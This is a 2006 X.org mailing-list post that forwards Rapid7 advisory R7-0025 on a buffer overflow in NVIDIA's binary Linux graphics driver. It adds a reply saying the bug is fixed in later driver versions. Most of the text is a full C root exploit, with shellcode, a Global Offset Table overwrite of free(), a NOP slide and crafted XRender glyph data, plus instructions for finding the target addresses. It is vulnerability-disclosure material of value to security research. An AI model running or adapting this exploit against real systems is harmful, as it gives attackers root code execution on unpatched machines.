[Fwd: Buffer Overflow in NVIDIA Binary Graphics Driver For Linux (with exploit)]

Lonni J Friedman netllama at gmail.com
Mon Oct 16 14:59:20 PDT 2006


Please note that this exploit is already fixed/resolved in the
1.0-9625 beta driver:
http://www.nzone.com/object/nzone_downloads_rel70b etadriver.html

as well as the 1.0-9626 QuadroPlex driver:
http://www.nvidia.com/object/linux_display_ia32_1. 0-9626.html
http://www.nvidia.com/object/linux_display_amd64_1 .0-9626.html

On 10/16/06, Matthieu Herrb <matthieu.herrb at laas.fr> wrote:
>
> -------- Original Message --------
> Subject: Buffer Overflow in NVIDIA Binary Graphics Driver For Linux
> (with exploit)
> Date: Mon, 16 Oct 2006 13:09:14 -0700
> From: Chad Loder <cloder at openbsd.org>
> To: matthieu at openbsd.org
>
> Hello Mattthieu.
>
> I know you are involved with X.org security, so I thought you should
> know about this
> security advisory in the NVIDIA binary blob driver for X that we
> published today, along
> with a working root exploit.
>
> PS: We actually used one of your example X programs as a basis to
> initialize the X
> rendering environment for our exploit. You will see your name on the
> copyright of
> the exploit code, please do not be offended. :)
>
> Best,
>         Chad Loder
>
> ---
> Rapid7 Advisory R7-0025
> Buffer Overflow in NVIDIA Binary Graphics Driver For Linux
>
>     Published:  Oct 16, 2006
>     Revision:   1.0
>     http://www.rapid7.com/advisories/R7-0025.jsp
>
> 1. Affected system(s):
>
>     KNOWN VULNERABLE:
>      o NVIDIA Driver For Linux v8774
>      o NVIDIA Driver For Linux v8762
>
>     PROBABLY VULNERABLE:
>      o NVIDIA Driver for FreeBSD
>      o NVIDIA Driver for Solaris
>      o Earlier versions
>
>     KNOWN FIXED:
>      o None
>
> 2. Summary
>
>     The NVIDIA Binary Graphics Driver for Linux is vulnerable to a
>     buffer overflow that allows an attacker to run arbitrary code as
>     root. This bug can be exploited both locally or remotely (via
>     a remote X client or an X client which visits a malicious web page).
>     A working proof-of-concept root exploit is included with this
>     advisory.
>
>     The NVIDIA drivers for Solaris and FreeBSD are also likely to be
>     vulnerable.
>
> 3. Vendor status and information
>
>     NVIDIA Corporation
>     http://www.nvidia.com
>
>     There have been multiple public reports of this NVIDIA bug on the
>     NVNews forum [1,2] and elsewhere, dating back to 2004 [3]. NVIDIA's
>     first public acknowledgement of this bug was on July 7th, 2006. In a
>     public posting [1] on the NVNews forum, an NVIDIA employee reported
>     having reproduced the problem, assigned it bug ID 239065, and promised
>     a fix would be forthcoming.
>
>     As of the publication date, the latest NVIDIA binary driver is still
>     vulnerable. Furthermore, it is our opinion that NVIDIA's binary driver
>     remains an unacceptable security risk based on the large numbers of
>     reproducible, unfixed crashes that have been reported in public forums
>     and bug databases. This number does not include bugs reported directly
>     to NVIDIA.
>
>     1. http://www.nvnews.net/vbulletin/showthread.php?p=931048   (Jul 2006)
>     2. http://www.nvnews.net/vbulletin/showthread.php?t=76493    (Sep 2006)
>     3. https://bugs.freedesktop.org/show_bug.cgi?id=2129         (Dec 2004)
>     4. http://lists.freedesktop.org/archives/xorg/2005-January/005642.html
>     5. http://forums.gentoo.org/viewtopic.php?t=282107           (Jan 2005)
>     6. https://bugs.eclipse.org/bugs/show_bug.cgi?id=87299       (Mar 2005)
>     7. http://www.nvnews.net/vbulletin/showthread.php?t=76206    (Sep 2006)
>
> 4. Solution
>
>     Disable the binary blob driver and use the open-source "nv" driver
>     that is included by default with X.
>
> 5. Detailed analysis
>
>     There are two NVIDIA graphics drivers for Linux: a closed-source
>     binary blob driver provided by NVIDIA (which provides acceleration)
>     and an open-source driver (which lacks acceleration). NVIDIA's
>     binary blob driver contains an error in its accelerated rendering
>     of glyphs (text character data) that can be exploited to write
>     arbitrary data to anywhere in memory. The open-source driver is
>     not vulnerable.
>
>     The XRender extension provides a client function named
>     XRenderCompositeString8 which tells the X server to render glyphs
>     onto the screen. This request is processed by the server's
>     ProcRenderCompositeGlpyhs function. This function pulls the glyphs
>     out of the render request, constructs a glyph list, and then calls
>     into the graphics driver via a registered callback function.
>
>     The NVIDIA binary blob driver registers a function named _nv000373X.
>     This function calculates a bounding BoxRec of the total area occupied
>     by the glyph data. It then uses Xalloc to allocate a buffer large
>     enough to hold the data by multiplying width * height. This buffer
>     is then passed to another internal function called _nv000053X.
>
>     The _nv000053X function iterates over the glyph list and copies
>     glyph data into the buffer using each glyph's accumulated width,
>     xOff, height, and yOff values to calculate the destination position
>     in the buffer. The NVIDIA binary blob driver does not check this
>     calculation against the size of the allocated buffer. As a result,
>     a short sequence of user-supplied glyphs can be used to trick the
>     function into writing to an arbitrary location in memory.
>
>     It is important to note that glyph data is supplied to the X server
>     by the X client. Any remote X client can gain root privileges on
>     the X server using the proof of concept program attached.
>
>     It is also trivial to exploit this vulnerability as a DoS by causing
>     an existing X client program (such as Firefox) to render a long text
>     string. It may be possible to use Flash movies, Java applets, or
>     embedded web fonts to supply the custom glyph data necessary for
>     reliable remote code execution.
>
>     A simple HTML page containing an INPUT field with a long value is
>     sufficient to demonstrate the DoS.
>
> 5. Credit
>
>     This vulnerability was discovered by Derek Abdine of Rapid7. Special
>     thanks to Marc Bevand for his assistance.
>
> 6. Contact Information
>
>     Rapid7, LLC
>     Email: advisory at rapid7.com
>     Web: http://www.rapid7.com
>     Phone: +1 (310) 316-1235
>
> 7. Disclaimer and Copyright
>
>     Rapid7, LLC is not responsible for the misuse of the information
>     provided in our security advisories. These advisories are a service
>     to the professional security community. There are NO WARRANTIES with
>     regard to this information. Any application or distribution of this
>     information constitutes acceptance AS IS, at the user's own risk.
>     This information is subject to change without notice.
>
>     This advisory Copyright (C) 2006 Rapid7, LLC. Permission is hereby
>     granted to redistribute this advisory, providing that no changes are
>     made and that the copyright notices and disclaimers remain intact.
>
>
>
>
>
> /*
>  * Copyright (c) 2005 Matthieu Herrb
>  * Copyright (c) 2006 Derek Abdine, Marc Bevand
>  *
>  * Permission to use, copy, modify, and distribute this software for any
>  * purpose with or without fee is hereby granted, provided that the above
>  * copyright notice and this permission notice appear in all copies.
>  *
>  * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
>  * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
>  * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
>  * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
>  * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
>  * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
>  * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
>  *
>  * Exploit for Buffer Overflow in NVIDIA Binary Graphics Driver For Linux
>  * see http://www.rapid7.com/advisories/R7-0025.jsp for original advisory.
>  */
> #include <signal.h>
> #include <stdio.h>
> #include <stdlib.h>
>
> #include <X11/Intrinsic.h>
> #include <X11/Xft/Xft.h>
>
> int done = 0;
> unsigned long black_pixel;
>
> /* This exploit takes two arguments:
>  *    o The lowest address past X's heap.
>  *    o X's data address.
>  *
>  *    Note the first address required is usually
>  *    in the 0xbXXXXXXX range, as the exploit
>  *    forces the nvidia driver to allocate a large
>  *    sum of memory.
>  *
>  *    This information can be easily taken using:
>  *    cat /proc/`pgrep Xorg`/maps | head -n 5
>  *
>  *    On a sample system, this was:
>  *
>  *    08048000-081b8000 r-xp 00000000 09:02 58721202   /usr/bin/Xorg
>  *    081b8000-081c7000 rw-p 00170000 09:02 58721202   /usr/bin/Xorg
>  *    081c7000-08533000 rw-p 081c7000 00:00 0          [heap]
>  *    b5bbc000-b60bd000 rw-s e35f9000 00:0d 12154      /dev/nvidia0
>  *    b60bd000-b6112000 rw-p b60bd000 00:00 0
>  *
>  *    Thus, one would use:
>  *
>  *    ./nv_exploit 0xb5bbc000 0x081b8000
>  *
>  *    To run the exploit.  Note that although the exploit "best guesses"
>  *    the correct spot to write the shellcode, it may be off.  This
>  *    may be tweaked by modifying the 0x2C0000 in the source below.
>  *    If the data is written to an incorrect location where vital
>  *    X program data is stored, X will (eventually, if not immediately)
>  *    crash.
>  *
>  *    The exploit works by overwriting the address of free() in the
>  *    Global Offset Table to an address offset relative to the supplied
>  *    GOT  address (second argument).  The NVIDIA driver will then call
>  *    Xfree, which will in turn call free() using the overwritten GOT
>  *    entry and nop slide to the shellcode.
>  */
>
>
> /* The shellcode below will execute a shell script located
>  * at /tmp/nv. */
> unsigned char shellcode[] =
>    "\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x75\xfe\x31\xc0\x68\x2f\x6e"
>    "\x76\x00\x68\x2f\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb8"
>    "\x0b\x00\x00\x00\xcd\x80";
>
> typedef struct  {
>     Display *display;
>     XtAppContext app;
>     Window win;
>     XftFont *font;
>     XftColor color, bg;
>     XftDraw *draw;
>     GC gc;
> } XDataStr;
>
> static void
> sigHandler(int sig)
> {
>     done = 1;
> }
>
> int
> createWin(XDataStr *data)
> {
>     u_long attributeMask;
>     XSetWindowAttributes attribute;
>     Window w;
>     Display *display = data->display;
>     int screen = DefaultScreen(display);
>     XGCValues gc_val;
>     Screen *s;
>
>     attribute.background_pixel = WhitePixel(display, screen);
>     attribute.border_pixel = WhitePixel(display, screen);
>     attribute.bit_gravity = NorthWestGravity;
>     attribute.event_mask = ButtonPressMask|ButtonReleaseMask|KeyPressMask|
>         ExposureMask;
>
>     attributeMask =
>         CWBorderPixel |
>         CWBackPixel |
>         CWEventMask |
>         CWBitGravity;
>     s = ScreenOfDisplay(data->display, screen);
>
>     w = XCreateWindow(display, RootWindow(display, screen), 0, 0,
>             DisplayWidth(display, screen)/2, 150,
>             0, DefaultDepth(display, screen), InputOutput,
>             DefaultVisual(display, screen), attributeMask, &attribute);
>
>     data->font = XftFontOpen(display, screen,
>             XFT_FAMILY, XftTypeString, "mono",
>             XFT_SIZE, XftTypeInteger, 16,
>             NULL);
>     if (!XftColorAllocName(display, XDefaultVisual(display, screen),
>                 DefaultColormap(display, screen), "red4", &data->color)) {
>         fprintf(stderr, "cannot get color");
>         return -1;
>     }
>     if (!XftColorAllocName(display, XDefaultVisual(display, screen),
>                 DefaultColormap(display, screen), "linen", &data->bg)) {
>         fprintf(stderr, "cannot get bg color");
>         return -1;
>     }
>     data->draw = XftDrawCreate(display, w, DefaultVisual(display, screen),
>             DefaultColormap(display, screen));
>     gc_val.foreground = BlackPixel(display, screen);
>     gc_val.background = WhitePixel(display, screen);
>     data->gc = XCreateGC (display, w, GCForeground|GCBackground,
>             &gc_val);
>
>     data->win = w;
>     return 0;
> }
>
> void
> show(XDataStr *data)
> {
>     Status s;
>
>     XMapWindow(data->display, data->win);
>     s = XGrabKeyboard(data->display, data->win, False,
>             GrabModeAsync, GrabModeAsync, CurrentTime);
>     if (s != GrabSuccess) {
>         printf("Error grabing kbd %d\n", s);
>     }
> }
>
> int
> main(int argc, char *argv[])
> {
>     Display *display;
>     Widget toplevel;
>     XtAppContext app_con;
>     XEvent event;
>     char c, *string;
>     unsigned int i;
>     XDataStr *data;
>     XExposeEvent *expose = (XExposeEvent *)&event;
>     unsigned int heapaddr, gotaddr;
>
>     if (argc > 2)
>     {
>         heapaddr = strtoul(argv[1],NULL,0);
>         gotaddr  = strtoul(argv[2],NULL,0);
>     }
>     else
>     {
>         printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
>         return 0;
>     }
>
>     toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
>             &argc, argv, NULL, NULL, 0);
>     display = XtDisplay(toplevel);
>
>     data = (XDataStr *)malloc(sizeof(XDataStr));
>     if (data == NULL) {
>         perror("malloc");
>         exit(EXIT_FAILURE);
>     }
>
>     data->display = display;
>     data->app = app_con;
>
>     if (createWin(data) < 0) {
>         fprintf(stderr, "can't create Data Window");
>         exit(EXIT_FAILURE);
>     }
>     show(data);
>
>     signal(SIGINT, sigHandler);
>     signal(SIGHUP, sigHandler);
>     signal(SIGQUIT, sigHandler);
>     signal(SIGTERM, sigHandler);
>
>     /************************************************************************
>      * BEGIN FONT HEAP OVERFLOW SETUP CODE
>      *
>      * "It's so hard to write a graphics driver that open-sourcing it would
>      *  not help."
>      *    - Andrew Fear, Software Product Manager (NVIDIA Corporation).
>      **********************************************************************/
>     XGlyphInfo * glyphs;
>     XRenderPictFormat fmt;
>     XRenderPictFormat *mask = 0;
>     GlyphSet gset;
>     char * buf =0;
>     int offset, cr, numB;
>     int xscreenpos  = 32680;
>     int magic_len   = 32768 - xscreenpos;
>     int wr_addr_len = 3548;
>     int wr_nop_len  = 200;
>
>     /* Calculate the offset to the Global Offset Table.
>      * 0x2C0000 is the size of the buffer the NVIDIA driver
>      * allocates for us when it is about to draw.
>      */
>     offset = gotaddr-(heapaddr-0x2C0000);
>     offset += magic_len;
>     glyphs = malloc(sizeof(XGlyphInfo)*3);
>
>     /* Payload glyph */
>     glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */
>     glyphs[0].height = 1;
>     glyphs[0].yOff = 0;
>     glyphs[0].xOff = glyphs[0].width;
>     glyphs[0].x = 0;
>     glyphs[0].y = 0;
>
>     /* Large offset glyph (untweaked) */
>     glyphs[1].width=0;
>     glyphs[1].height=0;
>     glyphs[1].yOff=32767;
>     glyphs[1].xOff=0;
>     glyphs[1].x = 0;
>     glyphs[1].y = 0;
>
>     /* Small offset glyph (tweaked) */
>     glyphs[2].width=0;
>     glyphs[2].height=0;
>     glyphs[2].yOff=0;
>     glyphs[2].xOff=0;
>     glyphs[2].x = 0;
>     glyphs[2].y = 0;
>
>     fmt.type = PictTypeDirect;
>     fmt.depth = 8;
>
>     Glyph * xglyphids = malloc(3*sizeof(Glyph));
>
>     xglyphids[0] = 'A';
>     xglyphids[1] = 'B';
>     xglyphids[2] = 'C';
>
>     int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */
>     int bufsize = stride*glyphs[0].height;
>     buf = malloc(bufsize);
>
>     /* Write jump address to the buffer a number of times */
>     for (cr=0; cr<wr_addr_len; cr+=4)
>     {
>        *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4;
>     }
>
>     /* Write the NOP instructions until wr_nop_len */
>     memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);
>
>     /* Write the shellcode */
>     cr+=wr_nop_len;
>     memcpy(buf+cr, shellcode, sizeof(shellcode));
>
>     /* Calculate the number of B's required to send */
>     numB = offset / (glyphs[1].yOff * magic_len);
>
>     /* We send only one C, but we change its yOff value according to
>      * how much space we have left before we meet the correct index length */
>     glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len);
>
>     /* Now create a new buffer for the string data */
>     string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);
>     for (cr=0; cr<numB; cr++)   string[cr] = 'B';
>                                 string[cr] = 'C'; cr++;
>                                 string[cr] = 'A'; cr++;
>                                 string[cr] =  0;
>
>     mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0);
>     gset = XRenderCreateGlyphSet(display, mask);
>
>     if (mask)
>     {
>         /* Ask the server to tie the glyphs to the glyphset we created,
>          * with our addr/nopslide/shellcode buffer as the alpha data.
>          */
>         XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize);
>     }
>     /* END FONT HEAP OVERFLOW SETUP CODE */
>
>     done = 0;
>     while (!done) {
>         XNextEvent(display, &event);
>         switch(event.type) {
>             case KeyPress:
>                 i = XLookupString(&event.xkey, &c, 1, NULL, NULL);
>                 if ((i == 1) && ((c == 'q') || (c == 'Q'))) {
>                     done = 1;
>                 }
>                 break;
>             case Expose:
>                 XftDrawRect(data->draw, &data->bg,
>                         expose->x, expose->y,
>                         expose->width, expose->height);
>                 /* Send malignant glyphs and execute shellcode on target */
>                 XRenderCompositeString8(display, PictOpOver,
>                         XftDrawSrcPicture(data->draw, &data->color),
>                         XftDrawPicture(data->draw), mask, gset,
>                         0, 0, xscreenpos, 0, string, strlen(string));
>                 break;
>         }
>     }
>
>     free(glyphs);
>     free(xglyphids);
>     free(buf);
>     free(string);
>
>     XFlush(display);
>     XUnmapWindow(data->display, data->win);
>     XUngrabKeyboard(data->display, CurrentTime);
>     XCloseDisplay(display);
>     exit(EXIT_SUCCESS);
> }
>



More information about the xorg mailing list